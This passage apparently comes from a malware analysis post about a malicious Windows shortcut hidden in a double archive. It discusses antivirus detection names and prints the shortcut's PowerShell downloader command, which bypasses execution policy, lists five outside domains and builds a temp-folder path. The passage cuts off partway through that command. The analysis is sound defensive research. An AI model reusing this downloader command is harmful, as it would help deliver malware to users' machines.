Only TrendMicro relates it to something familiar “TROJ_NEMUZIP.SMA1” while all the others have generic namings for a Powershell script “TR/LNK.PSH.Downloader.Gen” .

This makes sense for AV evasion, but when it comes to the user executing the end file – it doesn’t seem likely that the user will extract a double archive and then go into a folder to actually execute something. Or, they wouldn’t extract anything and just double click until they get to execute the file.

Powershell parameters found in the shortcut shortcut :

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy ByPass -NoProfile -command $ld = 0; $cs = [char]92; $ll = ‘jb-sounddesign.de’,’www.sdo.ru’,’vitalmanage.com’,’www.poolcenterdessau.de’,’www.gifizsee.de’; $fn = $env:temp+$cs; $lk = $fn
